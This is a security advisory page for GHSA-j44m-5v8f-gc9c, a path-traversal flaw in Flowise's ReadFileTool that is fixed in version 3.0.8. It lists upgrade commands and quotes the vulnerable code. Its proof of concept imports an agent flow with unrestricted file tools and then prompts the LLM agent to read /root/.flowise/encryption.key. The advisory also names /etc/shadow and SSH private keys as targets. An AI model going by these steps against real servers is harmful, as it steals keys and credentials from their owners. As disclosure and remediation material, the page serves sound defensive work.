GHSA-j44m-5v8f-gc9c: Flowise components Flowise Is Vulnerable To Arbitrary Vulnerability
HIGH
Advisory Summary
GHSA-j44m-5v8f-gc9c is a HIGH (CVSS 7.7) flowise is vulnerable to arbitrary vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Flowise components libraries in the npm ecosystem. The issue involves flowise is vulnerable to arbitrary file exposure through its readfiletool. Remediation is available by upgrading affected packages to version 3.0.8.
GHSA-j44m-5v8f-gc9c at a Glance
CVE Identifier
N/A
GHSA Identifier
GHSA-j44m-5v8f-gc9c
Severity
HIGH
CVSS v3.1 Base Score
7.7
CWE Classification
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product
Flowise components
Package Ecosystem
npm
Published Date
Last Updated
Security Impact
CVSS: 7.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
Attack Vector
Network (AV:N)
Attack Complexity
Low (AC:L)
Privileges Required
Low (PR:L)
User Interaction
None (UI:N)
Scope
Changed (S:C)
Confidentiality
High (C:H)
Integrity
None (I:N)
Availability
None (A:N)
How to Fix GHSA-j44m-5v8f-gc9c
To remediate this vulnerability, upgrade all affected Flowise components dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
flowise-components
fixed: 3.0.8
npm install flowise-components@3.0.8
flowise
fixed: 3.0.8
npm install flowise@3.0.8
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls flowise-componentsHow to Check if You Are Affected
To determine whether your Node.js application is affected by GHSA-j44m-5v8f-gc9c, inspect your project dependencies using npm:
npm ls flowise-componentsAnalyze the terminal output to locate any version of Flowise components in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.0.8), your application is affected.
Note: The npm ls flowise-components command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Flowise components, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
### Summary
The ReadFileTool in Flowise does not restrict file path access, allowing authenticated attackers to exploit this vulnerability to read arbitrary files from the file system, potentially leading to remote command execution.
### Details
Flowise supports providing ReadFileTool for large models to read files in the server's file system. The implementation of this tool is located at packages/components/nodes/tools/ReadFile/ReadFile.ts.
```
/**
* Class for reading files from the disk. Extends the StructuredTool
* class.
*/
export class ReadFileTool extends StructuredTool {
static lc_name() {
return 'ReadFileTool'
}
schema = z.object({
file_path: z.string().describe('name of file')
}) as any
name = 'read_file'
description = 'Read file from disk'
store: BaseFileStore
constructor({ store }: ReadFileParams) {
super(...arguments)
this.store = store
}
async _call({ file_path }: z.infer<typeof this.schema>) {
return await this.store.readFile(file_path)
}
}
```
The tool directly uses the file_path parameter passed to it without verifying whether the path belongs to Flowise's working directory. Authenticated attackers can exploit this vulnerability to read any known file on the server. For example, if the victim deploys in a Docker environment, the attacker could attempt to read sensitive files such as /root/.flowise/encryption.key, /root/.flowise/database.sqlite, and obtain sensitive information. If the victim does not use a Docker environment for deployment, the attacker could try reading sensitive files like /etc/passwd, /etc/shadow, /root/.ssh/id_rsa, further achieving the effect of remote command execution.
### PoC
This file reading vulnerability has been verified to exist in the latest Flowise Docker image (https://hub.docker.com/layers/flowiseai/flowise/latest/images/sha256-26300377397818a451e0710389eb77615256b0f3ecc895194850ab35dda3ae7b). The reproduction steps are as follows:
1. Pull the Flowise Docker image
```
docker pull flowiseai/flowise
```
2. Start the Flowise service
```
docker run -d --name flowise -p 3000:3000 flowise
```
3. Access the Flowise service at server ip:3000 in the browser and register an account
4. Save the following content as agent.json
```
{
"nodes": [
{
"id": "startAgentflow_0",
"type": "agentFlow",
"position": {
"x": -203,
"y": 37
},
"data": {
"id": "startAgentflow_0",
"label": "Start",
"version": 1.1,
"name": "startAgentflow",
"type": "Start",
"color": "#7EE787",
"hideInput": true,
"baseClasses": [
"Start"
],
"category": "Agent Flows",
"description": "Starting point of the agentflow",
"inputParams": [
{
"label": "Input Type",
"name": "startInputType",
"type": "options",
"options": [
{
"label": "Chat Input",
"name": "chatInput",
"description": "Start the conversation with chat input"
},
{
"label": "Form Input",
"name": "formInput",
"description": "Start the workflow with form inputs"
}
],
"default": "chatInput",
"id": "startAgentflow_0-input-startInputType-options",
"display": true
},
{
"label": "Form Title",
"name": "formTitle",
"type": "string",
"placeholder": "Please Fill Out The Form",
"show": {
"startInputType": "formInput"
},
"id": "startAgentflow_0-input-formTitle-string",
"display": false
},
{
"label": "Form Description",
"name": "formDescription",
"type": "string",
"placeholder": "Complete all fields below to continue",
"show": {
"startInputType": "formInput"
},
"id": "startAgentflow_0-input-formDescription-string",
"display": false
},
{
"label": "Form Input Types",
"name": "formInputTypes",
"description": "Specify the type of form input",
"type": "array",
"show": {
"startInputType": "formInput"
},
"array": [
{
"label": "Type",
"name": "type",
"type": "options",
"options": [
{
"label": "String",
"name": "string"
},
{
"label": "Number",
"name": "number"
},
{
"label": "Boolean",
"name": "boolean"
},
{
"label": "Options",
"name": "options"
}
],
"default": "string"
},
{
"label": "Label",
"name": "label",
"type": "string",
"placeholder": "Label for the input"
},
{
"label": "Variable Name",
"name": "name",
"type": "string",
"placeholder": "Variable name for the input (must be camel case)",
"description": "Variable name must be camel case. For example: firstName, lastName, etc."
},
{
"label": "Add Options",
"name": "addOptions",
"type": "array",
"show": {
"formInputTypes[$index].type": "options"
},
"array": [
{
"label": "Option",
"name": "option",
"type": "string"
}
]
}
],
"id": "startAgentflow_0-input-formInputTypes-array",
"display": false
},
{
"label": "Ephemeral Memory",
"name": "startEphemeralMemory",
"type": "boolean",
"description": "Start fresh for every execution without past chat history",
"optional": true,
"id": "startAgentflow_0-input-startEphemeralMemory-boolean",
"display": true
},
{
"label": "Flow State",
"name": "startState",
"description": "Runtime state during the execution of the workflow",
"type": "array",
"optional": true,
"array": [
{
"label": "Key",
"name": "key",
"type": "string",
"placeholder": "Foo"
},
{
"label": "Value",
"name": "value",
"type": "string",
"placeholder": "Bar",
"optional": true
}
],
"id": "startAgentflow_0-input-startState-array",
"display": true
},
{
"label": "Persist State",
"name": "startPersistState",
"type": "boolean",
"description": "Persist the state in the same session",
"optional": true,
"id": "startAgentflow_0-input-startPersistState-boolean",
"display": true
}
],
"inputAnchors": [],
"inputs": {
"startInputType": "chatInput",
"formTitle": "",
"formDescription": "",
"formInputTypes": "",
"startEphemeralMemory": "",
"startState": "",
"startPersistState": ""
},
"outputAnchors": [
{
"id": "startAgentflow_0-output-startAgentflow",
"label": "Start",
"name": "startAgentflow"
}
],
"outputs": {},
"selected": false
},
"width": 103,
"height": 66,
"selected": false,
"positionAbsolute": {
"x": -203,
"y": 37
},
"dragging": false
},
{
"id": "directReplyAgentflow_0",
"position": {
"x": 209,
"y": 30.25
},
"data": {
"id": "directReplyAgentflow_0",
"label": "Direct Reply 0",
"version": 1,
"name": "directReplyAgentflow",
"type": "DirectReply",
"color": "#4DDBBB",
"hideOutput": true,
"baseClasses": [
"DirectReply"
],
"category": "Agent Flows",
"description": "Directly reply to the user with a message",
"inputParams": [
{
"label": "Message",
"name": "directReplyMessage",
"type": "string",
"rows": 4,
"acceptVariable": true,
"id": "directReplyAgentflow_0-input-directReplyMessage-string",
"display": true
}
],
"inputAnchors": [],
"inputs": {
"directReplyMessage": "",
"undefined": ""
},
"outputAnchors": [],
"outputs": {},
"selected": false
},
"type": "agentFlow",
"width": 163,
"height": 66,
"selected": false,
"positionAbsolute": {
"x": 209,
"y": 30.25
},
"dragging": false
},
{
"id": "agentAgentflow_0",
"position": {
"x": -63.5,
"y": 89.125
},
"data": {
"id": "agentAgentflow_0",
"label": "Agent 0",
"version": 2,
"name": "agentAgentflow",
"type": "Agent",
"color": "#4DD0E1",
"baseClasses": [
"Agent"
],
"category": "Agent Flows",
"description": "Dynamically choose and utilize tools during runtime, enabling multi-step reasoning",
"inputParams": [
{
"label": "Model",
"name": "agentModel",
"type": "asyncOptions",
"loadMethod": "listModels",
"loadConfig": true,
"id": "agentAgentflow_0-input-agentModel-asyncOptions",
"display": true
},
{
"label": "Messages",
"name": "agentMessages",
"type": "array",
"optional": true,
"acceptVariable": true,
"array": [
{
"label": "Role",
"name": "role",
"type": "options",
"options": [
{
"label": "System",
"name": "system"
},
{
"label": "Assistant",
"name": "assistant"
},
{
"label": "Developer",
"name": "developer"
},
{
"label": "User",
"name": "user"
}
]
},
{
"label": "Content",
"name": "content",
"type": "string",
"acceptVariable": true,
"generateInstruction": true,
"rows": 4
}
],
"id": "agentAgentflow_0-input-agentMessages-array",
"display": true
},
{
"label": "OpenAI Built-in Tools",
"name": "agentToolsBuiltInOpenAI",
"type": "multiOptions",
"optional": true,
"options": [
{
"label": "Web Search",
"name": "web_search_preview",
"description": "Search the web for the latest information"
},
{
"label": "Code Interpreter",
"name": "code_interpreter",
"description": "Write and run Python code in a sandboxed environment"
},
{
"label": "Image Generation",
"name": "image_generation",
"description": "Generate images based on a text prompt"
}
],
"show": {
"agentModel": "chatOpenAI"
},
"id": "agentAgentflow_0-input-agentToolsBuiltInOpenAI-multiOptions",
"display": false
},
{
"label": "Tools",
"name": "agentTools",
"type": "array",
"optional": true,
"array": [
{
"label": "Tool",
"name": "agentSelectedTool",
"type": "asyncOptions",
"loadMethod": "listTools",
"loadConfig": true
},
{
"label": "Require Human Input",
"name": "agentSelectedToolRequiresHumanInput",
"type": "boolean",
"optional": true
}
],
"id": "agentAgentflow_0-input-agentTools-array",
"display": true
},
{
"label": "Knowledge (Document Stores)",
"name": "agentKnowledgeDocumentStores",
"type": "array",
"description": "Give your agent context about different document sources. Document stores must be upserted in advance.",
"array": [
{
"label": "Document Store",
"name": "documentStore",
"type": "asyncOptions",
"loadMethod": "listStores"
},
{
"label": "Describe Knowledge",
"name": "docStoreDescription",
"type": "string",
"generateDocStoreDescription": true,
"placeholder": "Describe what the knowledge base is about, this is useful for the AI to know when and how to search for correct information",
"rows": 4
},
{
"label": "Return Source Documents",
"name": "returnSourceDocuments",
"type": "boolean",
"optional": true
}
],
"optional": true,
"id": "agentAgentflow_0-input-agentKnowledgeDocumentStores-array",
"display": true
},
{
"label": "Knowledge (Vector Embeddings)",
"name": "agentKnowledgeVSEmbeddings",
"type": "array",
"description": "Give your agent context about different document sources from existing vector stores and embeddings",
"array": [
{
"label": "Vector Store",
"name": "vectorStore",
"type": "asyncOptions",
"loadMethod": "listVectorStores",
"loadConfig": true
},
{
"label": "Embedding Model",
"name": "embeddingModel",
"type": "asyncOptions",
"loadMethod": "listEmbeddings",
"loadConfig": true
},
{
"label": "Knowledge Name",
"name": "knowledgeName",
"type": "string",
"placeholder": "A short name for the knowledge base, this is useful for the AI to know when and how to search for correct information"
},
{
"label": "Describe Knowledge",
"name": "knowledgeDescription",
"type": "string",
"placeholder": "Describe what the knowledge base is about, this is useful for the AI to know when and how to search for correct information",
"rows": 4
},
{
"label": "Return Source Documents",
"name": "returnSourceDocuments",
"type": "boolean",
"optional": true
}
],
"optional": true,
"id": "agentAgentflow_0-input-agentKnowledgeVSEmbeddings-array",
"display": true
},
{
"label": "Enable Memory",
"name": "agentEnableMemory",
"type": "boolean",
"description": "Enable memory for the conversation thread",
"default": true,
"optional": true,
"id": "agentAgentflow_0-input-agentEnableMemory-boolean",
"display": true
},
{
"label": "Memory Type",
"name": "agentMemoryType",
"type": "options",
"options": [
{
"label": "All Messages",
"name": "allMessages",
"description": "Retrieve all messages from the conversation"
},
{
"label": "Window Size",
"name": "windowSize",
"description": "Uses a fixed window size to surface the last N messages"
},
{
"label": "Conversation Summary",
"name": "conversationSummary",
"description": "Summarizes the whole conversation"
},
{
"label": "Conversation Summary Buffer",
"name": "conversationSummaryBuffer",
"description": "Summarize conversations once token limit is reached. Default to 2000"
}
],
"optional": true,
"default": "allMessages",
"show": {
"agentEnableMemory": true
},
"id": "agentAgentflow_0-input-agentMemoryType-options",
"display": false
},
{
"label": "Window Size",
"name": "agentMemoryWindowSize",
"type": "number",
"default": "20",
"description": "Uses a fixed window size to surface the last N messages",
"show": {
"agentMemoryType": "windowSize"
},
"id": "agentAgentflow_0-input-agentMemoryWindowSize-number",
"display": false
},
{
"label": "Max Token Limit",
"name": "agentMemoryMaxTokenLimit",
"type": "number",
"default": "2000",
"description": "Summarize conversations once token limit is reached. Default to 2000",
"show": {
"agentMemoryType": "conversationSummaryBuffer"
},
"id": "agentAgentflow_0-input-agentMemoryMaxTokenLimit-number",
"display": false
},
{
"label": "Input Message",
"name": "agentUserMessage",
"type": "string",
"description": "Add an input message as user message at the end of the conversation",
"rows": 4,
"optional": true,
"acceptVariable": true,
"show": {
"agentEnableMemory": true
},
"id": "agentAgentflow_0-input-agentUserMessage-string",
"display": false
},
{
"label": "Return Response As",
"name": "agentReturnResponseAs",
"type": "options",
"options": [
{
"label": "User Message",
"name": "userMessage"
},
{
"label": "Assistant Message",
"name": "assistantMessage"
}
],
"default": "userMessage",
"id": "agentAgentflow_0-input-agentReturnResponseAs-options",
"display": true
},
{
"label": "Update Flow State",
"name": "agentUpdateState",
"description": "Update runtime state during the execution of the workflow",
"type": "array",
"optional": true,
"acceptVariable": true,
"array": [
{
"label": "Key",
"name": "key",
"type": "asyncOptions",
"loadMethod": "listRuntimeStateKeys",
"freeSolo": true
},
{
"label": "Value",
"name": "value",
"type": "string",
"acceptVariable": true,
"acceptNodeOutputAsVariable": true
}
],
"id": "agentAgentflow_0-input-agentUpdateState-array",
"display": true
}
],
"inputAnchors": [],
"inputs": {
"agentModel": "chatOpenRouter",
"agentMessages": [
{
"role": "",
"content": "<p><span class=\"variable\" data-type=\"mention\" data-id=\"question\" data-label=\"question\">{{ question }}</span> </p>"
}
],
"agentTools": [
{
"agentSelectedTool": "readFile",
"agentSelectedToolRequiresHumanInput": "",
"agentSelectedToolConfig": {
"basePath": "/",
"agentSelectedTool": "readFile"
}
},
{
"agentSelectedTool": "writeFile",
"agentSelectedToolRequiresHumanInput": "",
"agentSelectedToolConfig": {
"basePath": "/",
"agentSelectedTool": "writeFile"
}
}
],
"agentKnowledgeDocumentStores": "",
"agentKnowledgeVSEmbeddings": "",
"agentEnableMemory": false,
"agentReturnResponseAs": "userMessage",
"agentUpdateState": "",
"undefined": "",
"agentModelConfig": {
"cache": "",
"modelName": "qwen/qwen3-30b-a3b",
"temperature": 0.9,
"streaming": true,
"maxTokens": "",
"topP": "",
"frequencyPenalty": "",
"presencePenalty": "",
"timeout": "",
"basepath": "https://openrouter.ai/api/v1",
"baseOptions": "",
"agentModel": "chatOpenRouter"
}
},
"outputAnchors": [
{
"id": "agentAgentflow_0-output-agentAgentflow",
"label": "Agent",
"name": "agentAgentflow"
}
],
"outputs": {},
"selected": false
},
"type": "agentFlow",
"width": 232,
"height": 100,
"selected": false,
"positionAbsolute": {
"x": -63.5,
"y": 89.125
},
"dragging": false
}
],
"edges": [
{
"source": "startAgentflow_0",
"sourceHandle": "startAgentflow_0-output-startAgentflow",
"target": "agentAgentflow_0",
"targetHandle": "agentAgentflow_0",
"data": {
"sourceColor": "#7EE787",
"targetColor": "#4DD0E1",
"isHumanInput": false
},
"type": "agentFlow",
"id": "startAgentflow_0-startAgentflow_0-output-startAgentflow-agentAgentflow_0-agentAgentflow_0"
},
{
"source": "agentAgentflow_0",
"sourceHandle": "agentAgentflow_0-output-agentAgentflow",
"target": "directReplyAgentflow_0",
"targetHandle": "directReplyAgentflow_0",
"data": {
"sourceColor": "#4DD0E1",
"targetColor": "#4DDBBB",
"isHumanInput": false
},
"type": "agentFlow",
"id": "agentAgentflow_0-agentAgentflow_0-output-agentAgentflow-directReplyAgentflow_0-directReplyAgentflow_0"
}
]
}
```
5. Click on "AgentFlows" on the left, then click "Add New" on the right to enter the Agent creation page. Click the gear button in the upper right corner, select "Load Agents," choose the agent.json file, and after successful import, view three connected nodes.
6. Double-click the middle "Agent 0" node, click "ChatOpenRouter Parameters," then "Connect Credential," and select "Create New." Enter a valid OpenRouter API Key. Alternatively, click "Model" to choose another LLM provider. Once done, click the save button in the upper right corner.
7. After saving, click the purple chat button in the upper right corner and enter: "Read file content of /root/.flowise/encryption.key." Once the call is complete, click the expand button next to "Agent 0" in the "Process Flow" dropdown menu. The file content will be displayed in the "Output" section below.
### Impact
Authenticated attackers can exploit this vulnerability to steal sensitive information such as encryption keys, databases, and environment variables from the server, potentially leading to remote command execution.
### Credit
This vulnerability was discovered by:
- XlabAI Team of Tencent Xuanwu Lab
- Atuin Automated Vulnerability Discovery Engine
GHSA-j44m-5v8f-gc9c Affected Flowise components Versions
2 component(s)
Fixed Versions:
3.0.8
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
flowise-components
|
npm |
< 3.0.8
|
3.0.8
|
|
flowise
|
npm |
< 3.0.8
|
3.0.8
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-j44m-5v8f-gc9c
GitHub Advisory / Wiki
ADVISORY
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-jv9m-vf54-chjj
NVD — GHSA-j44m-5v8f-gc9c
NVD
https://nvd.nist.gov/vuln/detail/CVE-2025-61913
Security Fix Commit
FIX COMMIT
https://github.com/FlowiseAI/Flowise/commit/1fb12cd93143592a18995f63b781d25b354d48a3
Flowise components Source Repository
REPOSITORY
https://github.com/FlowiseAI/Flowise
Flowise components Release
RELEASE
https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.8
Frequently Asked Questions
What is GHSA-j44m-5v8f-gc9c?
GHSA-j44m-5v8f-gc9c is a security vulnerability in Flowise components involving Flowise is vulnerable to arbitrary file exposure through its ReadFileTool under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Flowise components versions are affected?
Affected versions include releases prior to 3.0.8 across affected packages: flowise-components, flowise.
What version fixes GHSA-j44m-5v8f-gc9c?
Upgrading to 3.0.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is flowise-components affected?
Yes, flowise-components is affected in releases prior to 3.0.8. Upgrade your dependency to 3.0.8 or later.
Is flowise affected?
Yes, flowise is affected in releases prior to 3.0.8. Upgrade your dependency to 3.0.8 or later.
What is the CVSS score of GHSA-j44m-5v8f-gc9c?
GHSA-j44m-5v8f-gc9c has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with GHSA-j44m-5v8f-gc9c?
GHSA-j44m-5v8f-gc9c is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check npm dependencies for GHSA-j44m-5v8f-gc9c?
Run the dependency tree command: 'npm ls flowise-components'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-j44m-5v8f-gc9c",
"modified" : "2025-11-07T16:46:14Z",
"published" : "2025-10-10T22:55:09Z",
"aliases" : [ ],
"summary" : "Flowise is vulnerable to arbitrary file exposure through its ReadFileTool",
"details" : "### Summary\n\nThe ReadFileTool in Flowise does not restrict file path access, allowing authenticated attackers to exploit this vulnerability to read arbitrary files from the file system, potentially leading to remote command execution.\n\n### Details\n\nFlowise supports providing ReadFileTool for large models to read files in the server's file system. The implementation of this tool is located at packages/components/nodes/tools/ReadFile/ReadFile.ts.\n\n```\n/**\n * Class for reading files from the disk. Extends the StructuredTool\n * class.\n */\nexport class ReadFileTool extends StructuredTool {\n static lc_name() {\n return 'ReadFileTool'\n }\n\n schema = z.object({\n file_path: z.string().describe('name of file')\n }) as any\n\n name = 'read_file'\n\n description = 'Read file from disk'\n\n store: BaseFileStore\n\n constructor({ store }: ReadFileParams) {\n super(...arguments)\n\n this.store = store\n }\n\n async _call({ file_path }: z.infer<typeof this.schema>) {\n return await this.store.readFile(file_path)\n }\n}\n```\n\n\n\nThe tool directly uses the file_path parameter passed to it without verifying whether the path belongs to Flowise's working directory. Authenticated attackers can exploit this vulnerability to read any known file on the server. For example, if the victim deploys in a Docker environment, the attacker could attempt to read sensitive files such as /root/.flowise/encryption.key, /root/.flowise/database.sqlite, and obtain sensitive information. If the victim does not use a Docker environment for deployment, the attacker could try reading sensitive files like /etc/passwd, /etc/shadow, /root/.ssh/id_rsa, further achieving the effect of remote command execution.\n\n### PoC\n\nThis file reading vulnerability has been verified to exist in the latest Flowise Docker image (https://hub.docker.com/layers/flowiseai/flowise/latest/images/sha256-26300377397818a451e0710389eb77615256b0f3ecc895194850ab35dda3ae7b). The reproduction steps are as follows:\n\n1. Pull the Flowise Docker image\n\n```\ndocker pull flowiseai/flowise\n```\n\n2. Start the Flowise service\n\n```\ndocker run -d --name flowise -p 3000:3000 flowise\n```\n\n\n3. Access the Flowise service at server ip:3000 in the browser and register an account\n4. Save the following content as agent.json\n\n```\n{\n \"nodes\": [\n {\n \"id\": \"startAgentflow_0\",\n \"type\": \"agentFlow\",\n \"position\": {\n \"x\": -203,\n \"y\": 37\n },\n \"data\": {\n \"id\": \"startAgentflow_0\",\n \"label\": \"Start\",\n \"version\": 1.1,\n \"name\": \"startAgentflow\",\n \"type\": \"Start\",\n \"color\": \"#7EE787\",\n \"hideInput\": true,\n \"baseClasses\": [\n \"Start\"\n ],\n \"category\": \"Agent Flows\",\n \"description\": \"Starting point of the agentflow\",\n \"inputParams\": [\n {\n \"label\": \"Input Type\",\n \"name\": \"startInputType\",\n \"type\": \"options\",\n \"options\": [\n {\n \"label\": \"Chat Input\",\n \"name\": \"chatInput\",\n \"description\": \"Start the conversation with chat input\"\n },\n {\n \"label\": \"Form Input\",\n \"name\": \"formInput\",\n \"description\": \"Start the workflow with form inputs\"\n }\n ],\n \"default\": \"chatInput\",\n \"id\": \"startAgentflow_0-input-startInputType-options\",\n \"display\": true\n },\n {\n \"label\": \"Form Title\",\n \"name\": \"formTitle\",\n \"type\": \"string\",\n \"placeholder\": \"Please Fill Out The Form\",\n \"show\": {\n \"startInputType\": \"formInput\"\n },\n \"id\": \"startAgentflow_0-input-formTitle-string\",\n \"display\": false\n },\n {\n \"label\": \"Form Description\",\n \"name\": \"formDescription\",\n \"type\": \"string\",\n \"placeholder\": \"Complete all fields below to continue\",\n \"show\": {\n \"startInputType\": \"formInput\"\n },\n \"id\": \"startAgentflow_0-input-formDescription-string\",\n \"display\": false\n },\n {\n \"label\": \"Form Input Types\",\n \"name\": \"formInputTypes\",\n \"description\": \"Specify the type of form input\",\n \"type\": \"array\",\n \"show\": {\n \"startInputType\": \"formInput\"\n },\n \"array\": [\n {\n \"label\": \"Type\",\n \"name\": \"type\",\n \"type\": \"options\",\n \"options\": [\n {\n \"label\": \"String\",\n \"name\": \"string\"\n },\n {\n \"label\": \"Number\",\n \"name\": \"number\"\n },\n {\n \"label\": \"Boolean\",\n \"name\": \"boolean\"\n },\n {\n \"label\": \"Options\",\n \"name\": \"options\"\n }\n ],\n \"default\": \"string\"\n },\n {\n \"label\": \"Label\",\n \"name\": \"label\",\n \"type\": \"string\",\n \"placeholder\": \"Label for the input\"\n },\n {\n \"label\": \"Variable Name\",\n \"name\": \"name\",\n \"type\": \"string\",\n \"placeholder\": \"Variable name for the input (must be camel case)\",\n \"description\": \"Variable name must be camel case. For example: firstName, lastName, etc.\"\n },\n {\n \"label\": \"Add Options\",\n \"name\": \"addOptions\",\n \"type\": \"array\",\n \"show\": {\n \"formInputTypes[$index].type\": \"options\"\n },\n \"array\": [\n {\n \"label\": \"Option\",\n \"name\": \"option\",\n \"type\": \"string\"\n }\n ]\n }\n ],\n \"id\": \"startAgentflow_0-input-formInputTypes-array\",\n \"display\": false\n },\n {\n \"label\": \"Ephemeral Memory\",\n \"name\": \"startEphemeralMemory\",\n \"type\": \"boolean\",\n \"description\": \"Start fresh for every execution without past chat history\",\n \"optional\": true,\n \"id\": \"startAgentflow_0-input-startEphemeralMemory-boolean\",\n \"display\": true\n },\n {\n \"label\": \"Flow State\",\n \"name\": \"startState\",\n \"description\": \"Runtime state during the execution of the workflow\",\n \"type\": \"array\",\n \"optional\": true,\n \"array\": [\n {\n \"label\": \"Key\",\n \"name\": \"key\",\n \"type\": \"string\",\n \"placeholder\": \"Foo\"\n },\n {\n \"label\": \"Value\",\n \"name\": \"value\",\n \"type\": \"string\",\n \"placeholder\": \"Bar\",\n \"optional\": true\n }\n ],\n \"id\": \"startAgentflow_0-input-startState-array\",\n \"display\": true\n },\n {\n \"label\": \"Persist State\",\n \"name\": \"startPersistState\",\n \"type\": \"boolean\",\n \"description\": \"Persist the state in the same session\",\n \"optional\": true,\n \"id\": \"startAgentflow_0-input-startPersistState-boolean\",\n \"display\": true\n }\n ],\n \"inputAnchors\": [],\n \"inputs\": {\n \"startInputType\": \"chatInput\",\n \"formTitle\": \"\",\n \"formDescription\": \"\",\n \"formInputTypes\": \"\",\n \"startEphemeralMemory\": \"\",\n \"startState\": \"\",\n \"startPersistState\": \"\"\n },\n \"outputAnchors\": [\n {\n \"id\": \"startAgentflow_0-output-startAgentflow\",\n \"label\": \"Start\",\n \"name\": \"startAgentflow\"\n }\n ],\n \"outputs\": {},\n \"selected\": false\n },\n \"width\": 103,\n \"height\": 66,\n \"selected\": false,\n \"positionAbsolute\": {\n \"x\": -203,\n \"y\": 37\n },\n \"dragging\": false\n },\n {\n \"id\": \"directReplyAgentflow_0\",\n \"position\": {\n \"x\": 209,\n \"y\": 30.25\n },\n \"data\": {\n \"id\": \"directReplyAgentflow_0\",\n \"label\": \"Direct Reply 0\",\n \"version\": 1,\n \"name\": \"directReplyAgentflow\",\n \"type\": \"DirectReply\",\n \"color\": \"#4DDBBB\",\n \"hideOutput\": true,\n \"baseClasses\": [\n \"DirectReply\"\n ],\n \"category\": \"Agent Flows\",\n \"description\": \"Directly reply to the user with a message\",\n \"inputParams\": [\n {\n \"label\": \"Message\",\n \"name\": \"directReplyMessage\",\n \"type\": \"string\",\n \"rows\": 4,\n \"acceptVariable\": true,\n \"id\": \"directReplyAgentflow_0-input-directReplyMessage-string\",\n \"display\": true\n }\n ],\n \"inputAnchors\": [],\n \"inputs\": {\n \"directReplyMessage\": \"\",\n \"undefined\": \"\"\n },\n \"outputAnchors\": [],\n \"outputs\": {},\n \"selected\": false\n },\n \"type\": \"agentFlow\",\n \"width\": 163,\n \"height\": 66,\n \"selected\": false,\n \"positionAbsolute\": {\n \"x\": 209,\n \"y\": 30.25\n },\n \"dragging\": false\n },\n {\n \"id\": \"agentAgentflow_0\",\n \"position\": {\n \"x\": -63.5,\n \"y\": 89.125\n },\n \"data\": {\n \"id\": \"agentAgentflow_0\",\n \"label\": \"Agent 0\",\n \"version\": 2,\n \"name\": \"agentAgentflow\",\n \"type\": \"Agent\",\n \"color\": \"#4DD0E1\",\n \"baseClasses\": [\n \"Agent\"\n ],\n \"category\": \"Agent Flows\",\n \"description\": \"Dynamically choose and utilize tools during runtime, enabling multi-step reasoning\",\n \"inputParams\": [\n {\n \"label\": \"Model\",\n \"name\": \"agentModel\",\n \"type\": \"asyncOptions\",\n \"loadMethod\": \"listModels\",\n \"loadConfig\": true,\n \"id\": \"agentAgentflow_0-input-agentModel-asyncOptions\",\n \"display\": true\n },\n {\n \"label\": \"Messages\",\n \"name\": \"agentMessages\",\n \"type\": \"array\",\n \"optional\": true,\n \"acceptVariable\": true,\n \"array\": [\n {\n \"label\": \"Role\",\n \"name\": \"role\",\n \"type\": \"options\",\n \"options\": [\n {\n \"label\": \"System\",\n \"name\": \"system\"\n },\n {\n \"label\": \"Assistant\",\n \"name\": \"assistant\"\n },\n {\n \"label\": \"Developer\",\n \"name\": \"developer\"\n },\n {\n \"label\": \"User\",\n \"name\": \"user\"\n }\n ]\n },\n {\n \"label\": \"Content\",\n \"name\": \"content\",\n \"type\": \"string\",\n \"acceptVariable\": true,\n \"generateInstruction\": true,\n \"rows\": 4\n }\n ],\n \"id\": \"agentAgentflow_0-input-agentMessages-array\",\n \"display\": true\n },\n {\n \"label\": \"OpenAI Built-in Tools\",\n \"name\": \"agentToolsBuiltInOpenAI\",\n \"type\": \"multiOptions\",\n \"optional\": true,\n \"options\": [\n {\n \"label\": \"Web Search\",\n \"name\": \"web_search_preview\",\n \"description\": \"Search the web for the latest information\"\n },\n {\n \"label\": \"Code Interpreter\",\n \"name\": \"code_interpreter\",\n \"description\": \"Write and run Python code in a sandboxed environment\"\n },\n {\n \"label\": \"Image Generation\",\n \"name\": \"image_generation\",\n \"description\": \"Generate images based on a text prompt\"\n }\n ],\n \"show\": {\n \"agentModel\": \"chatOpenAI\"\n },\n \"id\": \"agentAgentflow_0-input-agentToolsBuiltInOpenAI-multiOptions\",\n \"display\": false\n },\n {\n \"label\": \"Tools\",\n \"name\": \"agentTools\",\n \"type\": \"array\",\n \"optional\": true,\n \"array\": [\n {\n \"label\": \"Tool\",\n \"name\": \"agentSelectedTool\",\n \"type\": \"asyncOptions\",\n \"loadMethod\": \"listTools\",\n \"loadConfig\": true\n },\n {\n \"label\": \"Require Human Input\",\n \"name\": 